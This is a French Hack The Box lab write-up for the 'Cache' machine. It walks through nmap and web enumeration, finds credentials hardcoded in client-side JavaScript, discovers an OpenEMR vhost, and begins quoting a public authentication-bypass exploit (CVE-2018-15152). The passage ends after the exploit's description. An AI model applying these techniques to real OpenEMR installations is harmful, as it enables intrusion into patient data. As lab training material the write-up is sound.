Introduction
Cache est une machine Hack The Box de difficulté Medium qui propose une chaîne d’exploitation variée, mêlant énumération web, découverte d’un second hôte virtuel, exploitation d’une application OpenEMR, réutilisation d’identifiants et énumération locale.
La première partie consiste à explorer le site web exposé sur cache.htb afin d’y découvrir plusieurs informations utiles, dont l’existence d’une autre application hébergée sur la même machine. L’analyse de cette application permet ensuite d’identifier sa version et de rechercher une méthode permettant d’obtenir un premier accès au système.
Une fois le shell obtenu, l’énumération locale met en évidence plusieurs comptes utilisateurs ainsi que des services accessibles uniquement depuis la machine. L’un d’eux, Memcached, contient des informations qui permettent de poursuivre la progression jusqu’à un compte membre du groupe Docker.
L’exploitation de ces droits permet finalement d’accéder au système de fichiers de l’hôte avec les privilèges de root et de compromettre entièrement la machine.
Énumération
Dans un challenge CTF Hack The Box, tu commences toujours par une phase d’énumération complète.
C’est une étape incontournable : elle te permet d’identifier précisément ce que la machine expose afin de repérer les points d’entrée exploitables.
Concrètement, l’objectif de cette phase d’énumération est d’identifier :
- quels ports sont ouverts
- quels services sont accessibles
- si une application web est présente
- quels répertoires sont exposés
- si des sous-domaines ou vhosts peuvent être exploités
Pour réaliser cette énumération de manière structurée et reproductible, tu peux utiliser les trois scripts suivants :
- mon-nmap : identifie les ports ouverts et les services en écoute
- mon-recoweb : énumère les répertoires et fichiers accessibles via le service web
- mon-subdomains : détecte la présence éventuelle de sous-domaines et de vhosts
Tu retrouves ces outils dans la section Outils / Mes scripts.
Pour obtenir des résultats pertinents dans un contexte CTF Hack The Box, tu utilises une wordlist dédiée, installée au préalable grâce au script make-htb-wordlist.
Cette wordlist est conçue pour couvrir les technologies couramment rencontrées sur Hack The Box et est installée par défaut dans :
/usr/share/wordlists/htb-dns-vh-5000.txt
Tu peux installer et maintenir à jour l’ensemble de ces scripts sur ta machine Linux grâce à installe-mes-scripts.
Avant de lancer les scans, vérifie que le nom d’hôte cache.htb résout correctement vers l’adresse IP de la cible.
Sur HTB, cela passe généralement par une entrée dans /etc/hosts.
- Ajoute l’entrée
10.129.x.x cache.htbdans/etc/hosts.
sudo nano /etc/hosts
- Lance ensuite le script mon-nmap pour obtenir une vue claire des ports et services exposés :
mon-nmap cache.htb
# Résultats dans le répertoire scans_nmap/
# - scans_nmap/full_tcp_scan.txt
# - scans_nmap/enum_ftp_smb_scan.txt
# - scans_nmap/aggressive_vuln_scan.txt
# - scans_nmap/cms_vuln_scan.txt
# - scans_nmap/udp_vuln_scan.txt
Scan initial
Le scan TCP complet (scans_nmap/full_tcp_scan.txt) montre les ports ouverts suivants :
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -p- --min-rate 5000 -T4 -oN scans_nmap/cache/full_tcp_scan.txt cache.htb
Nmap scan report for cache.htb (10.129.x.x)
Host is up (0.0085s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 6.81 seconds
Scan FTP/SMB
Après le scan initial, le script vérifie la présence éventuelle de services FTP ou SMB afin de lancer une énumération ciblée si nécessaire :
- FTP sur le port 21
- SMB sur le port 139 et/ou 445
Les résultats sont enregistrés dans (scans_nmap/enum_ftp_smb_scan.txt) :
# mon-nmap — ENUM FTP / SMB
# Target : cache.htb
# Date : [date]
Aucun service FTP (21) ni SMB (139/445) détecté.
Ports ouverts détectés : 22,80
Scan agressif
Le script enchaîne ensuite automatiquement sur un scan agressif orienté vulnérabilités.
Ce scan fournit des informations détaillées sur les services et versions détectés.
Les résultats sont enregistrés dans (scans_nmap/aggressive_vuln_scan.txt) :
[+] Scan agressif orienté vulnérabilités (CTF-perfect LEGACY) pour cache.htb
[+] Commande utilisée :
nmap -Pn -A -sV -p"22,80" --script="(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 "cache.htb"
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -A -sV -p22,80 "--script=(http-vuln-* or http-shellshock or ssl-heartbleed or ssl-cert) and not (http-vuln-cve2017-1001000 or http-sql-injection or sslv2 or ssl-dh-params)" --script-timeout=30s -T4 -oN scans_nmap/cache/aggressive_vuln_scan_raw.txt cache.htb
Nmap scan report for cache.htb (10.129.x.x)
Host is up (0.0073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 22/tcp)
HOP RTT ADDRESS
1 6.63 ms 10.10.x.1
2 7.22 ms cache.htb (10.129.x.x)
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 12.47 seconds
Scan ciblé CMS
Le script exécute ensuite un scan ciblé CMS (scans_nmap/cms_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -Pn -sV -p22,80 --script=http-wordpress-enum,http-wordpress-brute,http-wordpress-users,http-drupal-enum,http-drupal-enum-users,http-joomla-brute,http-generator,http-robots.txt,http-title,http-headers,http-methods,http-enum,http-devframework,http-cakephp-version,http-php-version,http-config-backup,http-backup-finder,http-sitemap-generator --script-timeout=30s -T4 -oN scans_nmap/cache/cms_vuln_scan.txt cache.htb
Nmap scan report for cache.htb (10.129.x.x)
Host is up (0.0073s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-headers:
| Date: [date]
| Server: Apache/2.4.29 (Ubuntu)
| Last-Modified: Wed, 06 May 2020 09:03:19 GMT
| ETag: "2001-5a4f70909088c"
| Accept-Ranges: bytes
| Content-Length: 8193
| Vary: Accept-Encoding
| Connection: close
| Content-Type: text/html
|
|_ (Request type: HEAD)
|_http-title: Cache
| http-sitemap-generator:
| Directory structure:
| /
| Other: 1; html: 6; jpg: 5
| /jquery/
| js: 1
| Longest directory structure:
| Depth: 1
| Dir: /jquery/
| Total files found (by extension):
|_ Other: 1; html: 6; jpg: 5; js: 1
|_http-devframework: Couldn't determine the underlying framework or CMS. Try increasing 'httpspider.maxpagecount' value to spider more pages.
| http-enum:
|_ /login.html: Possible admin folder
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 8.01 seconds
Scan UDP rapide
Le script lance également un scan UDP rapide afin de détecter d’éventuels services supplémentaires (scans_nmap/udp_vuln_scan.txt).
# Nmap 7.99 scan initiated [date] as: /usr/lib/nmap/nmap --privileged -n -Pn -sU --top-ports 20 -T4 -oN scans_nmap/cache/udp_vuln_scan.txt cache.htb
Nmap scan report for cache.htb (10.129.x.x)
Host is up (0.0073s latency).
PORT STATE SERVICE
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp closed tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp closed netbios-ns
138/udp closed netbios-dgm
139/udp closed netbios-ssn
161/udp closed snmp
162/udp closed snmptrap
445/udp closed microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp closed ms-sql-m
1900/udp closed upnp
4500/udp closed nat-t-ike
49152/udp closed unknown
# Nmap done at [date] -- 1 IP address (1 host up) scanned in 7.73 seconds
Énumération des chemins web
La découverte des chemins web est réalisée avec le script dédié mon-recoweb .
mon-recoweb cache.htb
# Résultats dans le répertoire scans_recoweb/
# - scans_recoweb/RESULTS_SUMMARY.txt ← vue d’ensemble des découvertes
# - scans_recoweb/dirb.log
# - scans_recoweb/dirb_hits.txt
# - scans_recoweb/ffuf_dirs.txt
# - scans_recoweb/ffuf_dirs_hits.txt
# - scans_recoweb/ffuf_files.txt
# - scans_recoweb/ffuf_files_hits.txt
# - scans_recoweb/ffuf_dirs.json
# - scans_recoweb/ffuf_files.json
Le fichier RESULTS_SUMMARY.txt regroupe les chemins découverts, ce qui évite de devoir parcourir l’ensemble des logs générés.
===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script : mon-recoweb v2.2.3
Cible : cache.htb
Périmètre : /
Date début : [date]
Commandes exécutées (exactes) :
[dirb — découverte initiale]
dirb http://cache.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/cache.htb/dirb.log
[ffuf — énumération des répertoires]
ffuf -u http://cache.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/cache.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/cache.htb/ffuf_dirs.log
[ffuf — énumération des fichiers]
ffuf -u http://cache.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/cache.htb/ffuf_files.json 2>&1 | tee scans_recoweb/cache.htb/ffuf_files.log
Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
• répertoires (/chemin/)
• fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
garantissant la reproductibilité complète du scan.
----------------------------------------------------
=== Résultat global (agrégé) ===
http://cache.htb/author.html (CODE:200|SIZE:1522)
http://cache.htb/. (CODE:200|SIZE:8193)
http://cache.htb/contactus.html (CODE:200|SIZE:2539)
http://cache.htb/.htaccess.bak (CODE:403|SIZE:274)
http://cache.htb/.htaccess (CODE:403|SIZE:274)
http://cache.htb/.htc (CODE:403|SIZE:274)
http://cache.htb/.ht (CODE:403|SIZE:274)
http://cache.htb/.htgroup (CODE:403|SIZE:274)
http://cache.htb/.htm (CODE:403|SIZE:274)
http://cache.htb/.html (CODE:403|SIZE:274)
http://cache.htb/.htpasswd (CODE:403|SIZE:274)
http://cache.htb/.htpasswds (CODE:403|SIZE:274)
http://cache.htb/.htuser (CODE:403|SIZE:274)
http://cache.htb/index.html (CODE:200|SIZE:8193)
http://cache.htb/javascript/
http://cache.htb/javascript/ (CODE:301|SIZE:311)
http://cache.htb/jquery/
http://cache.htb/jquery/ (CODE:301|SIZE:307)
http://cache.htb/login.html (CODE:200|SIZE:2421)
http://cache.htb/logo.gif (CODE:200|SIZE:490849)
http://cache.htb/news.html (CODE:200|SIZE:7235)
http://cache.htb/.php (CODE:403|SIZE:274)
http://cache.htb/server-status (CODE:403|SIZE:274)
http://cache.htb/server-status/ (CODE:403|SIZE:274)
http://cache.htb/wp-forum.phps (CODE:403|SIZE:274)
=== Détails par outil ===
[DIRB]
http://cache.htb/index.html (CODE:200|SIZE:8193)
http://cache.htb/javascript/
http://cache.htb/jquery/
http://cache.htb/server-status (CODE:403|SIZE:274)
[FFUF — DIRECTORIES]
http://cache.htb/javascript/ (CODE:301|SIZE:311)
http://cache.htb/jquery/ (CODE:301|SIZE:307)
http://cache.htb/server-status/ (CODE:403|SIZE:274)
[FFUF — FILES]
http://cache.htb/author.html (CODE:200|SIZE:1522)
http://cache.htb/. (CODE:200|SIZE:8193)
http://cache.htb/contactus.html (CODE:200|SIZE:2539)
http://cache.htb/.htaccess.bak (CODE:403|SIZE:274)
http://cache.htb/.htaccess (CODE:403|SIZE:274)
http://cache.htb/.htc (CODE:403|SIZE:274)
http://cache.htb/.ht (CODE:403|SIZE:274)
http://cache.htb/.htgroup (CODE:403|SIZE:274)
http://cache.htb/.htm (CODE:403|SIZE:274)
http://cache.htb/.html (CODE:403|SIZE:274)
http://cache.htb/.htpasswd (CODE:403|SIZE:274)
http://cache.htb/.htpasswds (CODE:403|SIZE:274)
http://cache.htb/.htuser (CODE:403|SIZE:274)
http://cache.htb/index.html (CODE:200|SIZE:8193)
http://cache.htb/login.html (CODE:200|SIZE:2421)
http://cache.htb/logo.gif (CODE:200|SIZE:490849)
http://cache.htb/news.html (CODE:200|SIZE:7235)
http://cache.htb/.php (CODE:403|SIZE:274)
http://cache.htb/wp-forum.phps (CODE:403|SIZE:274)
Recherche de vhosts
Enfin, la présence éventuelle de vhosts est vérifiée à l’aide du script mon-subdomains .
=== mon-subdomains cache.htb START ===
Script : mon-subdomains
Version : mon-subdomains 2.0.1
Date : [date]
Domaine : cache.htb
IP : 10.129.x.x
Mode : large
Master : /usr/share/wordlists/htb-dns-vh-5000.txt
Codes : 200,301,302,401,403 (strict=1)
VHOST totaux : 0
- (aucun)
--- Détails par port ---
Port 80 (http)
Baseline#1: code=200 size=8193 words=973 (Host=gkbxl0hixp.cache.htb)
Baseline#2: code=200 size=8193 words=973 (Host=3kdrxsow6k.cache.htb)
Baseline#3: code=200 size=8193 words=973 (Host=0ispdxhnct.cache.htb)
VHOST (0)
- (fuzzing sauté : wildcard probable)
- (explication : réponse identique quel que soit Host → vhost-fuzzing non discriminant)
=== mon-subdomains cache.htb END ===
Si aucun vhost distinct n’est identifié, ce fichier confirme l’absence de résultats supplémentaires.
Prise pied
Exploration de l’application web cache.htb
À première vue, le site semble offrir peu de fonctionnalités et donc peu de points d’attaque directement exploitables.
L’application web est accessible à l’adresse suivante :
http://cache.htb

La page d’accueil présente un site personnel dont le titre déroulant affiche explicitement le nom cache.htb.
Le menu de navigation permet d’accéder à plusieurs pages :
index.html
news.html
contactus.html
author.html
login.html
En parcourant ces différentes pages, tu remarques que author.html présente l’auteur du site sous le nom Ash.
Cette page mentionne également une autre application réalisée par celui-ci, appelée HMS.

En poursuivant l’exploration, tu constates que la page login.html propose un formulaire de connexion demandant un nom d’utilisateur et un mot de passe :

Une tentative avec des identifiants quelconques échoue. Pour comprendre le fonctionnement de ce formulaire de connexion, tu examines le code source de la page.
Analyse de la page login.html
Pour comprendre le fonctionnement du formulaire de connexion, tu affiches le code source de la page login.html.
Dans Firefox, tu peux utiliser le raccourci Ctrl+U.

Tu cliques ensuite sur le lien jquery/functionality.js pour afficher le contenu du script.
<script src="jquery/functionality.js"></script>
Voici le résultat :

L’examen de functionality.js montre que les identifiants saisis sont vérifiés par le code JavaScript exécuté dans le navigateur.
Le script compare les valeurs saisies dans le formulaire à des identifiants enregistrés en dur dans son code :
ash:H@v3_fun
Comme ash peut également correspondre au nom d’un utilisateur local de la machine, tu testes ces identifiants sur le service SSH :
ssh ash@cache.htb
Le mot de passe H@v3_fun n’est toutefois pas accepté en SSH. Tu conserves néanmoins ces identifiants pour de futurs essais.
Tu testes ensuite ces mêmes identifiants dans le formulaire de connexion de cache.htb. Cette fois, l’authentification réussit et te redirige vers une nouvelle page :

La page obtenue est encore en construction et ne révèle aucune nouvelle fonctionnalité exploitable.
Identification du virtual host hms.htb
La mention de l’application HMS dans la page author.html laisse penser qu’une seconde application pourrait être hébergée sur la même machine.
À ce stade, HMS n’est encore qu’un nom. Il faut donc chercher comment cette application pourrait être accessible.
Sur un serveur web, plusieurs sites peuvent partager la même adresse IP tout en étant distingués par leur nom d’hôte. Apache, par exemple, peut utiliser ce mécanisme pour servir un contenu différent selon le nom demandé par le navigateur.
La cible principale est déjà accessible sous le nom :
cache.htb
Comme l’auteur mentionne une autre application appelée HMS, une hypothèse logique consiste à tester si cette application est exposée sur la même machine avec un autre nom d’hôte construit à partir de ce nom.
En conservant le même suffixe .htb, tu obtiens naturellement :
hms.htb
Tu testes donc cette hypothèse en ajoutant hms.htb dans le fichier /etc/hosts, avec la même adresse IP que cache.htb :
10.129.x.x cache.htb hms.htb
Tu peux ensuite demander explicitement au navigateur d’accéder à ce nom :
http://hms.htb
Si le serveur web possède bien un virtual host configuré pour ce nom, il renverra alors le contenu associé à cette seconde application.
L’hypothèse est confirmée : hms.htb répond bien et affiche une interface de connexion OpenEMR.

Comme tu disposes déjà des identifiants découverts dans functionality.js, tu les testes sur cette interface :
ash:H@v3_fun
La tentative échoue : ces identifiants ne permettent pas de se connecter à OpenEMR.
Tu peux maintenant explorer hms.htb plus en détail afin d’identifier précisément l’application et les ressources qu’elle expose.
Énumération web de hms.htb avec mon-recoweb
Tu poursuis maintenant l’énumération web de hms.htb avec mon-recoweb :
mon-recoweb hms.htb
Le scan retourne de nombreuses ressources. Parmi elles, tu t’intéresses surtout aux fichiers accessibles directement, car ils peuvent révéler des informations utiles sur l’installation OpenEMR.
===== mon-recoweb — RÉSUMÉ DES RÉSULTATS =====
Commande principale : /home/kali/.local/bin/mes-scripts/mon-recoweb
Script : mon-recoweb v2.2.3
Cible : hms.htb
Périmètre : /
Date début : [date]
Commandes exécutées (exactes) :
[dirb — découverte initiale]
dirb http://hms.htb/ /usr/share/wordlists/dirb/common.txt -r | tee scans_recoweb/hms.htb/dirb.log
[ffuf — énumération des répertoires]
ffuf -u http://hms.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/hms.htb/ffuf_dirs.json 2>&1 | tee scans_recoweb/hms.htb/ffuf_dirs.log
[ffuf — énumération des fichiers]
ffuf -u http://hms.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -t 30 -timeout 10 -fc 404 -of json -o scans_recoweb/hms.htb/ffuf_files.json 2>&1 | tee scans_recoweb/hms.htb/ffuf_files.log
Processus de génération des résultats :
- Les sorties JSON produites par ffuf constituent la source de vérité.
- Les entrées pertinentes sont extraites via jq (URL, code HTTP, taille de réponse).
- Les réponses assimilables à des soft-404 sont filtrées par comparaison des tailles et des codes HTTP.
- Les URLs finales sont reconstruites à partir du périmètre scanné (racine du site ou sous-répertoire ciblé).
- Les résultats sont normalisés sous la forme :
http://cible/chemin (CODE:xxx|SIZE:yyy)
- Les chemins sont ensuite classés par type :
• répertoires (/chemin/)
• fichiers (/chemin.ext)
- Le fichier RESULTS_SUMMARY.txt est généré par agrégation finale, sans retraitement manuel,
garantissant la reproductibilité complète du scan.
----------------------------------------------------
=== Résultat global (agrégé) ===
http://hms.htb/admin.php (CODE:200|SIZE:937)
http://hms.htb/build.xml (CODE:200|SIZE:6102)
http://hms.htb/ci/ (CODE:301|SIZE:299)
http://hms.htb/cloud/ (CODE:301|SIZE:302)
http://hms.htb/. (CODE:302|SIZE:0)
http://hms.htb/common/
http://hms.htb/common/ (CODE:301|SIZE:303)
http://hms.htb/config/
http://hms.htb/config/ (CODE:301|SIZE:303)
http://hms.htb/contrib/
http://hms.htb/contrib/ (CODE:301|SIZE:304)
http://hms.htb/controller.php (CODE:200|SIZE:37)
http://hms.htb/controllers/
http://hms.htb/controllers/ (CODE:301|SIZE:308)
http://hms.htb/custom/
http://hms.htb/custom/ (CODE:301|SIZE:303)
http://hms.htb/Documentation/ (CODE:301|SIZE:310)
http://hms.htb/entities/ (CODE:301|SIZE:305)
http://hms.htb/.htaccess.bak (CODE:403|SIZE:272)
http://hms.htb/.htaccess (CODE:403|SIZE:272)
http://hms.htb/.htc (CODE:403|SIZE:272)
http://hms.htb/.ht (CODE:403|SIZE:272)
http://hms.htb/.htgroup (CODE:403|SIZE:272)
http://hms.htb/.htm (CODE:403|SIZE:272)
http://hms.htb/.html (CODE:403|SIZE:272)
http://hms.htb/.htpasswd (CODE:403|SIZE:272)
http://hms.htb/.htpasswds (CODE:403|SIZE:272)
http://hms.htb/.htuser (CODE:403|SIZE:272)
http://hms.htb/images/
http://hms.htb/images/ (CODE:301|SIZE:303)
http://hms.htb/index.php (CODE:302|SIZE:0)
http://hms.htb/interface/
http://hms.htb/interface/ (CODE:301|SIZE:306)
http://hms.htb/javascript/
http://hms.htb/javascript/ (CODE:301|SIZE:307)
http://hms.htb/library/
http://hms.htb/library/ (CODE:301|SIZE:304)
http://hms.htb/LICENSE (CODE:200|SIZE:35147)
http://hms.htb/LICENSE/ (CODE:200|SIZE:35147)
http://hms.htb/modules/
http://hms.htb/modules/ (CODE:301|SIZE:304)
http://hms.htb/myportal/ (CODE:301|SIZE:305)
http://hms.htb/patients/ (CODE:301|SIZE:305)
http://hms.htb/.php (CODE:403|SIZE:272)
http://hms.htb/portal/
http://hms.htb/portal/ (CODE:301|SIZE:303)
http://hms.htb/public/
http://hms.htb/public/ (CODE:301|SIZE:303)
http://hms.htb/repositories/ (CODE:301|SIZE:309)
http://hms.htb/server-status (CODE:403|SIZE:272)
http://hms.htb/server-status/ (CODE:403|SIZE:272)
http://hms.htb/services/
http://hms.htb/services/ (CODE:301|SIZE:305)
http://hms.htb/setup.php (CODE:200|SIZE:1214)
http://hms.htb/sites/
http://hms.htb/sites/ (CODE:301|SIZE:302)
http://hms.htb/sql/
http://hms.htb/sql/ (CODE:301|SIZE:300)
http://hms.htb/templates/
http://hms.htb/templates/ (CODE:301|SIZE:306)
http://hms.htb/tests/
http://hms.htb/tests/ (CODE:301|SIZE:302)
http://hms.htb/vendor/
http://hms.htb/vendor/ (CODE:301|SIZE:303)
http://hms.htb/version.php (CODE:200|SIZE:0)
http://hms.htb/wp-forum.phps (CODE:403|SIZE:272)
=== Détails par outil ===
[DIRB]
http://hms.htb/admin.php (CODE:200|SIZE:937)
http://hms.htb/common/
http://hms.htb/config/
http://hms.htb/contrib/
http://hms.htb/controllers/
http://hms.htb/custom/
http://hms.htb/images/
http://hms.htb/index.php (CODE:302|SIZE:0)
http://hms.htb/interface/
http://hms.htb/javascript/
http://hms.htb/library/
http://hms.htb/LICENSE (CODE:200|SIZE:35147)
http://hms.htb/modules/
http://hms.htb/portal/
http://hms.htb/public/
http://hms.htb/server-status (CODE:403|SIZE:272)
http://hms.htb/services/
http://hms.htb/sites/
http://hms.htb/sql/
http://hms.htb/templates/
http://hms.htb/tests/
http://hms.htb/vendor/
[FFUF — DIRECTORIES]
http://hms.htb/ci/ (CODE:301|SIZE:299)
http://hms.htb/cloud/ (CODE:301|SIZE:302)
http://hms.htb/common/ (CODE:301|SIZE:303)
http://hms.htb/config/ (CODE:301|SIZE:303)
http://hms.htb/contrib/ (CODE:301|SIZE:304)
http://hms.htb/controllers/ (CODE:301|SIZE:308)
http://hms.htb/custom/ (CODE:301|SIZE:303)
http://hms.htb/Documentation/ (CODE:301|SIZE:310)
http://hms.htb/entities/ (CODE:301|SIZE:305)
http://hms.htb/images/ (CODE:301|SIZE:303)
http://hms.htb/interface/ (CODE:301|SIZE:306)
http://hms.htb/javascript/ (CODE:301|SIZE:307)
http://hms.htb/library/ (CODE:301|SIZE:304)
http://hms.htb/LICENSE/ (CODE:200|SIZE:35147)
http://hms.htb/modules/ (CODE:301|SIZE:304)
http://hms.htb/myportal/ (CODE:301|SIZE:305)
http://hms.htb/patients/ (CODE:301|SIZE:305)
http://hms.htb/portal/ (CODE:301|SIZE:303)
http://hms.htb/public/ (CODE:301|SIZE:303)
http://hms.htb/repositories/ (CODE:301|SIZE:309)
http://hms.htb/server-status/ (CODE:403|SIZE:272)
http://hms.htb/services/ (CODE:301|SIZE:305)
http://hms.htb/sites/ (CODE:301|SIZE:302)
http://hms.htb/sql/ (CODE:301|SIZE:300)
http://hms.htb/templates/ (CODE:301|SIZE:306)
http://hms.htb/tests/ (CODE:301|SIZE:302)
http://hms.htb/vendor/ (CODE:301|SIZE:303)
[FFUF — FILES]
http://hms.htb/admin.php (CODE:200|SIZE:937)
http://hms.htb/build.xml (CODE:200|SIZE:6102)
http://hms.htb/. (CODE:302|SIZE:0)
http://hms.htb/controller.php (CODE:200|SIZE:37)
http://hms.htb/.htaccess.bak (CODE:403|SIZE:272)
http://hms.htb/.htaccess (CODE:403|SIZE:272)
http://hms.htb/.htc (CODE:403|SIZE:272)
http://hms.htb/.ht (CODE:403|SIZE:272)
http://hms.htb/.htgroup (CODE:403|SIZE:272)
http://hms.htb/.htm (CODE:403|SIZE:272)
http://hms.htb/.html (CODE:403|SIZE:272)
http://hms.htb/.htpasswd (CODE:403|SIZE:272)
http://hms.htb/.htpasswds (CODE:403|SIZE:272)
http://hms.htb/.htuser (CODE:403|SIZE:272)
http://hms.htb/index.php (CODE:302|SIZE:0)
http://hms.htb/.php (CODE:403|SIZE:272)
http://hms.htb/setup.php (CODE:200|SIZE:1214)
http://hms.htb/version.php (CODE:200|SIZE:0)
http://hms.htb/wp-forum.phps (CODE:403|SIZE:272)
Plusieurs chemins découverts, comme /interface/, /sites/, /portal/ ou /modules/, sont cohérents avec une installation de type OpenEMR.
Parmi les fichiers accessibles directement, admin.php retient particulièrement l’attention. Son nom suggère une interface d’administration et il répond avec un code HTTP 200, ce qui indique que la ressource est accessible sans être bloquée par le serveur.
http://hms.htb/admin.php (CODE:200|SIZE:937)
Tu ouvres donc admin.php dans le navigateur :
http://hms.htb/admin.php
La page est accessible sans authentification et affiche l’interface OpenEMR Site Administration, qui révèle directement la version installée :
5.0.1 (3)

Cette information est essentielle : tu connais désormais la version précise d’OpenEMR et tu peux rechercher les vulnérabilités connues qui lui correspondent.
Recherche de vulnérabilités OpenEMR 5.0.1
Maintenant que la version 5.0.1 (3) d’OpenEMR est connue, tu recherches avec searchsploit les exploits correspondant à cette version :
searchsploit openemr 5.0.1
La commande retourne plusieurs résultats :
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenEMR 5.0.1 - 'controller' Remote Code Execution | php/webapps/48623.txt
OpenEMR 5.0.1 - Remote Code Execution (1) | php/webapps/48515.py
OpenEMR 5.0.1 - Remote Code Execution (Authenticated) (2) | php/webapps/49486.rb
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) | php/webapps/49998.py
OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2) | php/webapps/50122.rb
OpenEMR 5.0.1.3 - (Authenticated) Arbitrary File Actions | linux/webapps/45202.txt
OpenEMR 5.0.1.3 - Authentication Bypass | php/webapps/50017.py
OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated) | php/webapps/45161.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) | php/webapps/50037.py
OpenEMR 5.0.1.7 - 'fileName' Path Traversal (Authenticated) (2) | php/webapps/50087.rb
--------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
La version affichée dans l’interface d’administration est 5.0.1 (3). Dans les résultats de searchsploit, cette même version apparaît sous la notation 5.0.1.3.
Tu peux donc écarter les exploits qui ciblent spécifiquement la version 5.0.1.7 et te concentrer sur ceux prévus pour 5.0.1.3.
Parmi ces résultats, tu privilégies les scripts Python, car ils sont généralement faciles à lire, à exécuter et, si nécessaire, à adapter.
Après ce filtrage, trois exploits Python correspondant à la version 5.0.1.3 restent particulièrement intéressants :
php/webapps/49998.py — OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated)
php/webapps/50017.py — OpenEMR 5.0.1.3 - Authentication Bypass
php/webapps/45161.py — OpenEMR 5.0.1.3 - Remote Code Execution (Authenticated)
Les exploits 49998.py et 45161.py nécessitent des identifiants OpenEMR valides. À ce stade, tu ne disposes encore d’aucun compte permettant de t’authentifier sur l’application.
L’exploit 50017.py constitue donc la piste la plus logique à examiner en premier. Il cible un contournement de l’authentification du portail patient et pourrait permettre d’accéder à des pages normalement réservées à un utilisateur authentifié.
Exploitation du contournement d’authentification avec 50017.py
Tu crées d’abord un sous-répertoire dédié à l’exploit, puis tu y copies le script avec searchsploit :
mkdir -p hms/50017
cd hms/50017
searchsploit -m php/webapps/50017.py
Avant de l’exécuter, tu ouvres 50017.py dans un éditeur de texte afin d’examiner son fonctionnement :
nano 50017.py
Le code source de l’exploit est le suivant :
# Exploit Title: OpenEMR 5.0.1.3 - '/portal/account/register.php' Authentication Bypass
# Date 15.06.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/refs/tags/v5_0_1_3.zip
# Version: All versions prior to 5.0.1.4
# Tested on: Ubuntu 18.04
# CVE: CVE-2018-15152
# CWE: CWE-287
# Documentation: https://github.com/Hacker5preme/Exploits#CVE-2018-15152-Exploit
'''
Description:
An unauthenticated user is able to bypass the Patient Portal Login by simply navigating to
the registration page and modifying the requested url to access the desired page. Some
examples of pages in the portal directory that are accessible after browsing to the
registration page include:
- add_edit_event_user.php
- find_appt_popup_user.php
- get_allergies.php
- get_amendments.php
- get_lab_results.php
- get_medications.php
- get_patient_documents.php
- get_problems.php
- get_profile.php
- portal_payment.php
- messaging/messages.php
- messaging/secure_chat.php
- report/pat_ledger.php
- report/portal_custom_report.php
- report/portal_patient_report.php
